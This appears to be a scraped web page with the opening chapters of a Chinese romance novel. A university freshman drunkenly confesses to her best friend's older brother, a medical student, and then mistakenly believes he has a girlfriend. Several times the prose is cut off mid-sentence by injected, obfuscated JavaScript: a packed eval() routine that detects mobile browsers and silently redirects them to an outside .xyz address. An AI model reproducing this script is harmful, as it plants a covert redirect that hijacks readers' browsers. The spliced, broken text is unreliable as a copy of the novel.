《暗恋结束的那一天》 1. 单相思01 一切都完蛋了。 丧钟在虞听的脑海里敲响,而罪魁祸首都要怪那个自称班长的人源源不断推来的酒杯。 酒精,毁掉人类的最糟糕发明之一。 它让圣人堕落为浪子,智者变成愚人,而此刻,它让虞听眼前出现了她最想见的人。 “嘉年哥……” 肌肉被酒精麻痹,声带发音无力,一声轻唤化作缠绵的尾音,淹没在嗓子眼里。 “嗯?” 男人似没听清,微微垂首,做出认真聆听的模样。 一张帅脸就这么落入仰望的瞳眸里。 真帅啊,所以才单恋了这么多年不是么? 虞听咽了咽唾沫,然而喉咙还是灼热得像火在烧,脑子在酒精的强大作用下乱得如同一团浆糊。 她痴痴地看着眼前的男人,双手交叉合握,如同虔诚的信徒在祈祷,几乎不受控制地,压在舌底的话脱口而出。 “嘉年哥,我们谈恋爱吧。” “……” 时近凌晨,主街霓虹闪烁,然而藏在大学城里的这条小巷却漆黑安静,偶尔只有几只流浪猫经过。 男人单手插兜,凑近仔细端详了下女孩的脸庞,眉头微皱。 “醉了吗?” “…………” 虞听说完那句话就后悔了! 她这是在干什么?! 拼死拼活考上临江大学美术系,这个暑假,一口炸鸡薯条可乐都没碰,白天游泳,晚上空中蹬自行车,好不容易才减掉二十斤肥肉,甚至一毕业就去做了近视眼手术,摘掉了从小学就伴随她的厚酒瓶底眼镜—— 她这么努力,可不是为了在新生聚会上喝得醉醺醺,最后一身酒气地向方嘉年告白的啊! 明明在她的计划里,她应该穿上漂亮的淑女裙,化个美美的妆,在方嘉年惊艳的目光中从容说出我喜欢你,然后结束她这么多年的单恋史。 可为什么,现在,她就这么,说!出!来!了! 脑海里疯狂拉响警报,可虞听的嘴就像被按下了开关,开始冒出更多话语。 “我喜欢你!我从小时候……不对,我从第一次见面就喜欢你!我……我知道自己配不上你,可是嘉年哥,我们试试吧,我……我会对你很好的!” 随着这些告白话语的不断冒出,深藏在心底多年的回忆也一一浮现。 虞听第一次见方嘉年,是在小学五年级那年。 同桌方嘉岁邀请她去家里玩,两人坐在客厅一起看《犬夜叉》时,大门突然被打开了,从玄关走进来一个穿校服的高挑男生。 后来才知道,那是方嘉岁的哥哥。 虞听和方嘉岁同龄,方嘉岁的哥哥大她们六岁,在她们还只是坐在地上看动画片的小学生时,方嘉年已经是身高超过一米八的高中生。 班上的同学大多是独生子女,虞听自己也是。她从没体会过有兄弟姐妹的童年是怎样一种感觉,所以一度很羡慕拥有哥哥的方嘉岁。 何况方嘉年不仅高大帅气,人也亲切温柔,哪怕面对妹妹第一次带回家的同学,也会很礼貌地打招呼,还给她们零花钱去买冰激凌吃。 升初中后,在方嘉岁偶尔考得不好时,方嘉年还会来给她开家长会。 虞听对此非常羡慕,当然后来她才知道,这种羡慕其实是喜欢。 方嘉年太优秀了,很难不让人去喜欢。 “我知道了。” 一声叹息落下,与此同时落下的,还有方嘉年抚在她头顶的手掌。 虞听张了张唇,脑子一时没跟上:“……知道什么?” 搁在头顶的手掌轻轻揉了揉她的头发,方嘉年的眼眸温柔地弯着:“听听喜欢我,我也很喜欢听听。” “……” 虞听一时哑然。 不是,不是这样的。 方嘉年又在把她当妹妹看了,可她不是方嘉岁,她对他的喜欢,不是妹妹对哥哥的喜欢。 “不是……不是那种喜欢……” 她结结巴巴地试图解释,可酒精令思维迟钝,舌头也不利索起来。 “嗯?” 方嘉年没有听清,看着她面红耳赤的样子,微微蹙眉:“看来你醉得很厉害啊,以后不要喝这么多酒了。来,哥哥送你回……” 话没说完,全部言语都被堵了回去。 一双柔弱的手坚定又不容抗拒地拽住了他的衣领,脚尖踮起,温热的唇覆了上来,齿颊间弥漫着淡淡的麦芽香气,又湿又软的小舌毫无章法地舔着他的嘴唇。 “!!!” 黑夜里,方嘉年慢慢地睁大了眼睛。 *** 头好痛! 睁开眼,玻璃窗外的阳光毫无遮挡地刺进眼睛,眼前一阵白光。 “啊!我要瞎了!” 虞听用手背挡住眼睛,发出一声哀嚎:“妈妈,帮我把窗帘拉上!” 大约过了几十秒,忽然发觉不对,她猛地翻身坐起,环顾熟悉又陌生的房间,再往旁边一看,果然看见了趴着睡的方嘉岁。 “岁岁!”她一边推一边喊,“岁岁!快醒醒!” “干吗?” 睡得正香的方嘉岁被她打扰,不耐烦地用枕头盖住耳朵,只留个屁股对着她。 “我怎么会在你家?”虞听贴在她耳边问。 “我哥带你回来的啊,”不堪其扰的方嘉岁闭着眼回答,“你醉得像条掉进酒缸里的狗一样,都不省人事了,被我哥抱回来的……” 昨天真的见到方嘉年了?不是做梦吗?! 虞听抱着脑袋拼命回想,因为醉酒而断裂的记忆也一点点地回笼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560497|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为期半个月的魔鬼军训终于结束,为了庆祝,昨天临江大学美术系进行了一场新生聚会。大家先是在一家烤肉店吃到快打烊,然后又转场去了附近的一家量贩KTV。因为团购的套餐里有酒水饮料,气氛又好,大家都喝嗨了,虞听这个滴酒不沾的人也被迫跟着灌了几杯,她的记忆就到这里为止。 不过,意识朦胧之际,她好像是看见了方嘉年的脸。 好像……还告白了? 还亲上去了……? 是做梦吧? 嘉年哥那个时间怎么会出现在那里? 可方嘉岁又说,是方嘉年把她带回来的…… 难道这一切不是做梦? “啊啊啊啊啊!” 虞听倒在床上隔空踢腿,崩溃抓狂,歇斯底里。 方嘉岁一个枕头砸了过来。 半个小时后。 虞听终于做好了心理建设,深呼吸一口气,握上门把手,轻轻拉开一条门缝,从缝隙中蹑手蹑脚闪了出去。 然后—— 与客厅的方嘉年撞了个正着,空气安静,两人四目相对。 虞听:“……” 方嘉年:“……” 脚趾蜷缩,虞听尴尬地想打开窗户跳下去,即使知道这里是24楼。 相比起她的手足无措,方嘉年显得自在许多,若无其事地与她打招呼:“醒了?睡得好吗?” “嗯……” 虞听从喉咙里挤出一个毫无意义的音节,目光窘迫地四处望,又不受控制地被吸引去方嘉年身上。 他似乎刚洗完澡,头发上还残留着水汽,一件白色圆领T恤清爽又干净,体型如游泳运动员般高大修长。 啊……真帅,怎么会有人连日常款都穿得这么好看。 虞听一不留神又看呆了。 “去洗漱吧。洗手间用岁岁房间里的,外面的我刚用完,还没收拾。” 低沉动听的嗓音打断虞听的遐想。 她如梦初醒,连忙抹了把脸。 丢死人了,她居然就这么蓬头垢面地跟人站着聊了半天。 “没……没关系……” 虞听落荒而逃地去了公用浴室。 刚把门关上,她靠在门上,平息着过度剧烈的心跳。 虽然才用过,但浴室里并没有热雾缭绕,除了地砖上的水渍,就只有空气中残存的沐浴露香味。 虞听情不自禁地深吸了一口气。 是方嘉年身上的味道,但又有细微的不同,好像沐浴露用在他身上后,自发地形成了一种独属于他的气味。 虞听脸颊发热,拍拍脸走去洗手台前,镜子里映照出她脸蛋通红的模样。 还好头发不怎么乱,也没有眼屎,就是…… 奇怪,嘴唇怎么好像有点肿了? 2. 单相思02 客厅弥漫着食物的香气。 虞听从洗手间一步一步地挪出来,看见方嘉年站在开放式厨房里做着早餐。 他依然穿着洗完澡后穿的家居服,只是在外面套了一件围裙。 大概是方阿姨的吧,款式是粉红色的,还缀着一圈蕾丝。 穿这种主妇式围裙居然都无损他的帅气,他看上去就像日剧里经常出现的帅哥人夫,感觉随时会拿出一把锅铲,对着下班回家的女友温柔地问候“你回来了”,有种宜室宜家的气质。 “……” 虞听坐在中岛台前,看着他的背影,一边揉着脸,心想自己真的是没救了。 “尝尝?” 一勺汤突然递到了眼前。 “嗯?” 虞听还没反应过来,汤勺就撬开她的唇缝,塞进了嘴里。 比大脑反应更快的是舌尖味蕾涌上的美味感觉,她不禁点点头:“好喝。” 方嘉年笑了笑:“不淡?” “刚刚好。” “那去餐桌吧,可以吃饭了。”方嘉年一边盛汤一边说。 虞听下意识想帮他端汤,却被他以烫为由推开了,最终她什么也没做,两手空空地坐在了餐桌前。 戴着隔热手套的方嘉年将刚煲好的汤放在桌上。 虞听看着雾气袅袅的热汤开始出神,忽然问:“嘉年哥,昨天……” “嗯?” “昨天……”不知为何,虞听突然有点难以启齿。 方嘉年仿佛猜到她要说什么,主动解释:“我送你回来的,你醉得太厉害了,如果送你回家,怕你被骂,所以带你回这边了。已经打电话给家里解释过了,不用担心。” “……” 虞听的父母很宠她,从小到大,她很少挨骂,但如果是醉成昨天那个样子,恐怕回家了也少不了一顿数落,而她经常来方家过夜,偶尔不回家也没事。 方嘉年连这个都考虑到了,真不知道该夸他是天使,还是什么大善人。 就是因为这么温柔又体贴,所以才沉溺在他的魅力里无法自拔啊。 虞听:“哥哥为什么会在那边?” 方嘉年读的是临江大学医学系,这个专业是本硕连读八年制,他已经读了六年,还差两年就要毕业。听说他最近已经进入临江附属医院规培,很少来学校了。 方嘉年:“有事去学校一趟,正好看见你了。” 说到这里,方嘉年看了她一眼:“你酒量太差了,以后不要喝酒了。” “……” 虞听脸颊又开始发烫,纠结半晌,声若蚊呐地问:“嘉年哥,昨天……我有说什么话吗?” “什么话?” “不知道……就是平时我不会说的那些话?” “嗯……”方嘉年作沉吟状。 虞听的心脏跳得飞快,感觉马上要突破喉咙跳出来了,眼睛紧盯着方嘉年,连呼吸都紧张得屏住了。 方嘉年看着这样的她,忽然扑哧笑了。 “什么也没说。” “……是吗?” 悬着的心终于死了。 虞听神情迟疑,却又不得不信。 原来……真的是梦吗? 那个吻,也是梦吗? 可梦为什么会这么真切?她记得方嘉年唇舌的温度,他拼了命地攫取她口中津液…… “吃饭吧。” 手中被塞入一碗堆得满满的米饭,虞听从茫然若失中回过神来。 这么多?是要喂猪吗? 两人之后再没交谈,各自沉默地吃着饭,直到终于睡醒的方嘉岁从房间出来。 “什么啊,哥,你做了早饭吗?” 方嘉年示意她去看墙上的钟表:“已经中午了。” 说完顺手拿筷子头敲了一下方嘉岁的手背。 “洗完手再来。” 方嘉岁耸耸肩,走去中岛台洗了手,随即在虞听旁边坐下,扫了眼桌上的菜肴,皱眉:“怎么放那么多香菜啊,最讨厌香菜了!” 香菜怎么了?她就喜欢吃香菜。 咬着筷子出神的虞听忍不住在心底为香菜正名。 “闭上嘴安静吃吧。” 方嘉年训斥了妹妹一句,又夹起一块排骨,放进虞听的碗里。 虞听愣愣地抬头。 方嘉年:“多吃点,你瘦太多了。” 又是这样温和的语气。 虞听点点头,将肉埋在饭里,扒了一大口米饭。 和着饭粒一起咽下的,还有那莫名其妙想哭的情绪。 *** 短暂的国庆假期后,又迎来了开学。 不知道为什么都上大学了,还有早自习这样反人类的制度。 一大早,虞听趴在桌子,短短十分钟内已经打了好几个哈欠。 要不还是去申请一下学校的宿舍好了。不然每天都起个大早来上学也太折磨人了,跟高中有什么区别? 虞听是临江本地人,从幼儿园到小学,一路初中、高中都是在本地上的学,而且学校离家很近,一直都是走读生。 本以为上大学后能体验一番寄宿生活,没想到爸妈以她从来没住过宿,可能无法适应集体生活为由,让她继续住在家里,所以虞听哪怕升级成了大学生,依然过着每天走读的日子。 “丁零零——” 下课铃声一响,虞听就从包里掏出了一早妈妈塞进去的牛奶和三明治,正要张嘴去吃时,肩膀突然被人拍了一下,吓得她差点儿打翻桌上的牛奶。 “虞听!你是叫这个名字对吧?” 一张大脸伸到眼前,上面长着密密麻麻的青春痘。 虞听瞬间没了食欲,也想起了这人正是上次新生聚会时不停劝她喝酒的男生,也是他们班的班长。 她早已忘了班长叫什么名字,但对方已经热情洋溢地自我介绍了起来:“我叫匡义,赵匡义的那个匡义。我们新生聚会上见过的,还记得吗?” 怎么不记得呢? 要不是他拼命灌她酒,她也就不至于醉到在嘉年哥面前出糗了。 说起来,这个人就是罪魁祸首。 虞听暗暗瞪了他一眼。 匡义一头雾水,摸摸后脑勺,他有得罪过虞听吗? 下一秒,听见虞听问:“你有什么事?” “哦!”他记起来意,“我就是想问问你,你认识医学院的方嘉年吗?” 虞听的目光瞬间警惕起来:“问这个做什么?” “没什么。这位学长不是在医学院很有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560498|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?也很有人气,追他的女生有很多,但听说他一直没有女朋友。” 虞听在听到前面一段时还很受用。 方嘉年当然人气高了,长得又帅,个子也高,成绩还名列前茅,别说在医学院了,他从初高中时就一直是学校的风云人物,从小不知道有多少女生拜托过她和方嘉岁转送给他情书。 不过听到后半段时,她又开始警惕起来。 方嘉年有没有女朋友,跟班长有什么关系?他打听这个干什么? 匡义被她这探照灯似的眼神看得头皮直发麻,他真的没有做过得罪虞听的事吧? “那……那个,我是想问,虞听你……是不是方学长的女朋友啊?” “……” 虞听的嘴角快要忍不住了。 怎么办,好想直接承认。 但不能说谎。 “不是。” 不过很快就是了。 “就是认识的哥哥。”她又补充了一句。 “啊?” 匡义的表情很复杂,看上去有些惊讶,但又有点松了口气的感觉。 “那天他来接你,你们俩在巷子里,我还以为……”他停顿了一下,又接着说,“不过不是也好。既然是认识的哥哥,那你肯定有学长的联系方式吧?我有个朋友,对学长挺感兴趣的,托我来问……” 听到这里,虞听立即打断:“不行。” “啊?为什么?” “因为他有女朋友了。” “……你刚刚不是说没有吗?” “他有。” 虞听盯着他,语气坚定得像要入党:“其实我刚刚骗了你,他的女朋友就是我,只是我们还没对外公开,你也要替我保密。” 匡义傻眼:“……是这样吗?” “是的。”虞听点点头,又一个眼刀飞过来,“你刚刚说你那个朋友……” “我等下就回绝她。” “不是,我的意思是……真的是朋友吧?” “……” “不是你自己吧?” 虞听忧心忡忡。 不止女生,方嘉年在男生堆里的人气也挺高的。 匡义:“…………” 打发走了匡义,虞听开始埋头沉思。 局面变得有点棘手了。 本来她想挑个适当的时机,约方嘉年吃顿浪漫的晚餐,然后在气氛正好的时候,从容说出表白的话语。 她本来有90%成功的把握,这不是她自恋,而是自从减肥之后,她的颜值肉眼可见地上升,这点从毕业之后有源源不断的男孩子向她表白就知道了。 当然,嘉年哥肯定不是那种只看脸的肤浅男生。 她之所以这么自信,是因为方嘉年很少有拒绝她的时候。所以从小到大,别人都会误以为她才是方嘉年的亲妹妹,而不是方嘉岁。 虽然谈恋爱这种事不同于撒娇要个礼物之类的请求,但依方嘉年对她予取予求的性子,应该……大概……不会拒绝她吧? 无论如何,她已经放出她是方嘉年女朋友的谣言了,虽然嘱咐过匡义绝对不可以说出去,但谣言这种事向来不胫而走,所以,哪怕是为了她的面子,她也必须坐实这个谣言! 告白,是时候开始行动了! 3. 单相思03 首先,电影票是买好了。 可是,该怎么约方嘉年出去呢? 医院那么忙,听说规培生都是当骡马使,同时还要兼顾学业,他不一定有空吧? 早知道在买票之前应该问问他的。 虞听感到挫败。 她第一次暗恋一个人,第一次策划表白,因为暗恋对象是好友哥哥的原因,甚至没办法找方嘉岁帮忙出谋划策。 明明胜券在握,却又忐忑不安,暗恋本来就是这么一件让人反复怀疑自己的事吗? 失魂落魄的她独自走出教学楼,突然看见了休息区的长椅旁站着一个背影熟悉的人。那站在人群中也异常突出的个头,不用看正脸就知道是方嘉年。 他又来学校了么? 真是幸运,她就是因为想与方嘉年在学校偶遇,所以当初才拼了命地考上临江大学美术系的啊! 因为隔着六岁的年龄差,所以他们几乎没有同校过,这曾是虞听感到非常遗憾的事。 虞听眼前一亮,猫着身子穿过灌木丛,正打算过去吓他一跳,结果吓到的却是她自己。 方嘉年并不是一个人。 在他身前,还站着一个女生。因为体格娇小,被他挡得严严实实,此刻因为女生换了个位置,才被虞听看到。 女生仰头在说着什么,而方嘉年出于习惯俯首去听,两人密切地交谈着。 “……” 虞听的脚步当即顿住了,心底冒出一股酸涩,她突然觉得自己这副行径像个小丑。 正打算灰溜溜离开,方嘉年就像背后长了眼睛一样,突然察觉到了什么,回头一看,正好看见鬼鬼祟祟的虞听。 “……” 虞听在这一刻真的好想死。 “你怎么在这儿?” 方嘉年看到她倒是笑了。 虞听这下走也走不了,站在原地,扭扭捏捏地回答:“上课。” “刚刚下课了?” “……嗯。” 虞听的手指拧来拧去,纠结良久,最终还是决定趁着方嘉年本人就在这里,跟他提一下去看电影的事。 “嘉年哥,你……今天晚上有空吗?” 像蚊子哼哼一样问出这句话,虞听的后背几乎要汗湿了。 方嘉年看着满脸憋得通红的她,沉默了片刻,淡淡笑道:“怎么办呢?我今晚已经有约了。” 他转头看向身旁的女生:“我们约了一起吃饭,对吗?” “啊?” 女生的表情闪过一瞬间的茫然,随即点点头:“……嗯。” 他们是什么关系呢?为什么会约着一起吃饭? 虞听的视线投向女生,虽然不甘心,但不得不承认,挺漂亮的。 她的心里有股小小的失落,想到电影票可能要退掉了。 不过今天看不成的话,改天也可以。 正打算开口约下一次,面前的方嘉年突然抬腕看了眼手表,像是赶时间的样子,问她:“听听,还有事么?没事的话我们就先走了。” “……” 虽然他问话的语气一如既往的温柔,但虞听就是从中听出了一丝疏离的味道。 她瞪着眼睛,说不出一句话,只能看着方嘉年和女生一起离开的背影。 他们并肩而行,看上去宛若一对亲密的恋人。 *** 猫咪不吃鱼:嘉年哥有女朋友了? 岁岁:? 岁岁:我怎么知道? 虞听关掉手机,趴在床上,把脸埋进枕头里。 想起白天时方嘉年离去的身影,她就觉得难过得像吞了一百吨沙子。 怎么可以对她这样冷漠?他甚至还抬手看表,以前跟她在一起时,他从来不会催促她,反而在她吃饭速度稍微快了点时,还会叫她慢点吃。 心痛,男人都是这么善变的吗? 虞听想痛哭一场,想仰天长啸。 “宝宝,吃不吃韭菜盒子?爸爸专门给你炸的。”虞爸敲门问。 “不吃!”虞听高声回。 她现在难过得吃不下任何东西。 “怎么能不吃呢?你看你现在瘦得,脸都只有巴掌大了……” 老父亲在门外忧心忡忡。 虞听在房间里充耳不闻。 扔在被子上的手机叮咚一声,显示进来了新消息。 岁岁:/截图/ 虞听点开截图。 岁岁:你交女朋友了? 提款机:谁让你问的? 岁岁:就说有没有? 提款机:嗯。 “啪”地一声,手机砸到了脸上。 虞听捂住鼻梁,这下真的痛出眼泪了。 “嗯”,一个“嗯”字,让她领悟到了什么叫杀人于无形,什么叫出师未捷身先死。 她的告白行动,还没开始,就已经结束了。 门外的虞爸正抓心挠肝地想着怎么劝宝贝女儿多吃点饭,突然,卧室门被打开了,虞听两只眼睛红得像兔子似的走出来。 虞爸大吃一惊:“宝宝!你怎么了?谁欺负你了?” “没谁欺负我,”虞听头也不回地走在前面,严肃申明,“爸爸,我已经是大学生了,别再叫我的小名了。” 大学生怎么了?她哪怕七老八十了,也是家里的宝宝啊。 重度宠女控的老父亲根本不敢反驳女儿,亦步亦趋地跟在虞听身后:“宝……贝,你怎么哭了?是有什么不开心的事么?跟爸爸说说?” 他忧心如焚,已经在想着要不要给加班的老婆发条信息,召开紧急家庭内部会议了。然而掏出手机的下一秒,打字的动作就顿住了。 虞爸眼睁睁看着,红着眼的虞听吃光了三个韭菜盒子。 *** 小的时候,虞听是一个胖子。 没有到影响健康的程度,只是从身形上看,略微有些圆润。 没办法,吃得太好了。 她是家里的独生女,从出生起就是团宠,爷爷疼奶奶爱,父母对她有求必应,还有个时不时带她出去打牙祭的舅舅。 总的来说,老虞家的养娃理念就是能吃是福,不能饿着孩子一顿,虞听稍微食欲不振,全家人着急得恨不得拿个漏斗把饭给她灌进去。 在这样的精心呵护下,祖国的花苗虞听小朋友茁壮地成长了,初中时体重就跨越了一百大关。 当然,虞听并不以她的体重为耻,哪怕是在最在意外貌的青春期,她也不会因自己的身形而自卑,这是全家人从小给她灌输爱的结果。 可是,除了那一次。 虞听第一次体会到了自卑的感觉。 已经忘了是初一还是初二了,只记得那次方嘉岁的考试成绩特别差。 与虞听不同,方嘉岁一直是年级里的佼佼者,只可惜成绩很不稳定,考砸还是考好全看她心情,那次她考得史无前例的差,甚至跌出了年级前十,连一向不关注成绩的虞听都震惊了。 “你怎么办?听说这次要召开家长会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560499|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她替朋友感到担心。 虞爸虞妈对她的要求不高,只要健康就行了,所以哪怕虞听考了最后一名,他们也能乐呵呵地来参加家长会。 而方嘉岁的父母虽然也很开明,但他们还是很关注孩子成绩的,光看他们养育出方嘉年就知道了,虽然也不排除方嘉年本身就很优秀的原因。 面对她的关心,方嘉岁只是无所谓地耸肩:“叫方嘉年来就可以了。” 不像虞听老实地叫嘉年哥,她对方嘉年的称呼很随性,有时叫哥,有时直呼其名。 “嘉年哥会来吗?” 听到方嘉年的名字,虞听的心就不受控制地一动。 她既期待方嘉年的到来,又为他感到担忧。 那时候的方嘉年还不满二十岁,只是个学生,他能扮作成年人来参加家长会么? 当然事后证明,她完全是杞人忧天了。 方嘉年不仅来了,而且表现得很好,完全就像一个大人。 他穿着西装,那是虞听第一次见到他穿西装。无法明白为什么有人能把正装都穿出风流倜傥的味道。见到他从教室门外走进来的第一眼,热爱动漫的虞听脑海里瞬间涌出无数位二次元男神,可没有一位能与方嘉年对得上号。 后来她明白了,方嘉年就是方嘉年,世界上仅此一位。 家长会上,方嘉岁被班主任立作了典型,重点批评,坐在下面的方嘉年虚心受教。 但那次家长会给虞听留下深刻印象的却是之后发生的事。 会议结束后,方嘉年在走廊上询问方嘉岁考砸的原因。 虞听送完爸妈回来,正要走过去,班上一个讨人厌的男生突然从走廊尽头飞奔过来,冲着她喊。 “虞—口—斤!” 他的声音实在太大了,半个走廊的人都望过来,其中也包括正在教育妹妹的方嘉年。 “……” 时间在那一刻都静止了。 时至今日,虞听都还清晰地记得那从脚底逐渐升起的窘迫感,她的脸一寸寸地变红,雪白的面皮下沁出血丝,直至满脸通红。 她不记得别人有没有发出嘲笑的声音,只知道在方嘉年的视线投过来的那一瞬间,她就跺脚转身跑了,像个狼狈不堪的小丑一样。 在目睹她落荒而逃的背影之后,方嘉年转头平静地问妹妹:“那个人为什么那么叫听听?” 方嘉岁前一秒还被他训得臊眉耷眼,此刻自然也没给他什么好脸色:“你自己想嘛,虞口斤,口斤听,是在说虞听胖。那个男生就是这么讨人厌,一直欺负虞听。” 方嘉年一向温和的脸色骤然沉了下来。 家长会后的第二天,那个总是欺负虞听、给她取各种难听外号的讨厌鬼男生向她低头道了歉。这之后两人也没了交集,碰上班级活动时,男生总是会主动避开她,虞听顺顺利利地念完了初中。 后来她才从方嘉岁这里偶然得知了方嘉年曾询问起绰号的事,她直觉男生的道歉应该源于方嘉年在背后做了什么,虽然不清楚具体细节,可虞听十分感激方嘉年的这份好意。 如果他主动询问虞听关于绰号的事情,那么虞听一定会因为在他面前丢脸而羞愧至死,他不仅没有问,还为她争取来一份道歉,并在事后丝毫没有提及,他用这种温和的方式维护了虞听的自尊心。 虞听曾因这份温柔悸动不已。 现在想想,好像就是那时候才确定的。 她喜欢方嘉年。 那是漫长暗恋开始的第一天。 4. 单相思04 “唉。” “这已经是你第54次叹气了,你究竟是怎么了?” 中午食堂里,方嘉岁看着唉声叹气的好友,终于忍不住发问了。 “没事。” 虞听握着筷子拨弄起餐盘里的豌豆粒,将它们排列成一个嘴角下撇的哭脸,就像此刻愁眉苦脸的她一样。 虞听从小就是个爱吃的小朋友,厌食、挑食这种毛病在她这里几乎不存在,更别提拿食物开玩笑。方嘉岁唯一见她对食物表示出抗拒,就是暑假里她疯狂减肥的时候。可现在已经瘦下来的她居然能对着午饭视而不见? 方嘉岁终于意识到了事情的严重性。 “你不吃吗?” “唉,心情不畅,无心饮食。” “为什么心情不畅?” 看着好友小心翼翼询问的神情,虞听悲从中来,从喉咙里憋出一声哭腔:“我失恋了……” “啊?”方嘉岁很吃惊,“你恋过吗?” 虞听幽怨地瞪她一眼:“单恋也是恋……” 她趴在桌上,整个人悲伤得就如没有拧干水的抹布,生无可恋地瘫在那里,脚边滴滴答答流淌的都是她的眼泪。 “……” 方嘉岁张了张嘴,试图安慰两句,却又哑口无言,最后只能埋头沉默干饭。 “你不问我单恋的是谁吗?” 虞听好奇她怎么会这么平静,简直不像好友平日作风。 “是谁?”方嘉岁咽下一口饭问。 “……我不能告诉你。” 只能说差一点,我就成了你嫂子了。 唉,虞听再度仰天长叹。 “那就不说。” 方嘉岁干脆利落地扒完最后一口米饭,拉起软成一摊烂泥的好友。 “走吧。别丧了,两条腿的男人到处都是,改天我给你介绍一个。” 虞听不知道方嘉岁一个母胎solo是哪儿来的自信讲出这种话的。 “不过你最近怎么都不来我家玩了?”方嘉岁突然道,“周六来我家吃饭吧,我妈说她想你了。” 换做往常,虞听肯定一口答应下来,但现在,她心中百般纠结,犹豫地问:“那……嘉年哥会在家吗?” “他不在。”方嘉岁想都不想就回答了,“我哥自从上大学后就很少回家了。” “啊?” 那为什么她去的时候,每次都能碰见他? 方嘉岁:“也就只有你在的时候,他才会回家。” 状似无心的话语,却让虞听怔了许久。 *** “听听,来,吃点这个肘子。阿姨一大早就起来炖了。” 浓油赤酱的大猪肘子被夹进了虞听的碗里,而她碗里的菜早已堆到快要掉出来的程度。 虞听一口咬掉半个颤巍巍的红烧肘子,然后在女人慈爱的视线下比出一个大拇指。 “好吃!肉软烂又入味!阿姨手艺又进步了!” 虞听就是这样一个讨喜的性格,即便再没有胃口,也不会拂了大人的好意。从小就有人夸她吃相有福气,几乎没有长辈会不喜欢吃饭吃得香,还能提供情绪价值的孩子。 薛女士打心眼里喜欢她,从前就多次说过要认虞听做干女儿,出差在外给方嘉岁买了什么东西,势必也要给虞听买一份。 “多吃点。”她还在不断给虞听夹菜。 老话说看着孩子吃饭自己就饱了是有道理的,薛女士笑眯眯地看着吃饭的虞听,端详她明显变瘦的脸蛋,又心疼不已:“看你瘦的,脸都小一半了。” 一旁的方爸爸呵呵笑道:“现在的小女孩都追求苗条,我看一个暑假过去,听听变漂亮不少嘛,果然女大十八变。” 他的话立即换来了薛女士的白眼,转向虞听时,又切换成了慈爱面孔。 “别听你方叔叔的,听听本来就很漂亮。减肥可以,不过要适当,不能伤害身体。” 虞听连忙捧着碗点头。 方嘉岁在一旁安静吃饭,她早已习惯爸妈对虞听的过度关注。虞听就是有一种让人情不自禁对她好的气质,就好像只小动物一样,就连哥哥也是这样,第一次见虞听,就带着她去小卖部买冰激凌了…… 正想着哥哥,爸妈的话题就从减肥过渡到了他身上。 “话说嘉年这孩子最近怎么总不着家?都好久没看见他的脸了。”薛女士抱怨。 “忙吧,”方爸爸叹气,“听说最近轮转去急诊科了,二十四小时连轴转,几乎睡在医院里了。” 急诊科恐怕是医院最忙碌的科室了,还要值夜班,规培生去了那儿只会被压榨得更厉害。 薛女士皱着眉:“所以我最开始就劝他不要学医,咱们家的孩子不用那么辛苦。” 方家经济条件很好,方爸爸经营着一家大型电子数码企业,在临江市也算数一数二的人物。薛女士一开始是想让儿子学经管专业,毕业后进入自家公司,然而方嘉年对继承家业毫无兴趣,一门心思学医。 好在夫妇两个都不是对孩子有控制欲的人,既然木已成舟,干脆随他去了,但偶尔还是会心疼在医院吃苦的方嘉年。 “等下打包点饭菜带去医院给他吃吧。”方爸爸说。 饭后,方家爸妈带上打包好的饭菜去医院看望儿子了,被留下的两个女孩在客厅联机打起了游戏。 这款双人联机游戏方嘉岁早就买好了,一直等着虞听来陪她玩。两人从小学认识起就是游戏搭子,配合默契,一个眼神就知道对方要什么。 然而今天晚上,虞听明显不在状态,操作频频失误。这款双人游戏本就是考验双方的配合度,虞听一直失败,导致关卡迟迟过不去。 “你怎么了?”脾气不好的方嘉岁终于爆发了。 “抱歉啊,岁岁,我今天好像手感不对。” 虞听双眼无神,好像一直在神游,从刚才吃晚饭时听到“方嘉年”这三个字时,她就一直是这样的状态了。 “我……我想先去洗澡睡觉了。” 她抛下游戏手柄,跌跌撞撞去了浴室。 虞听这一晚睡得并不好。 晚餐时,方家父母的话让她彻底认清了她与方嘉年之间的差距,那不仅仅是六岁的年龄差,而是这六年代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 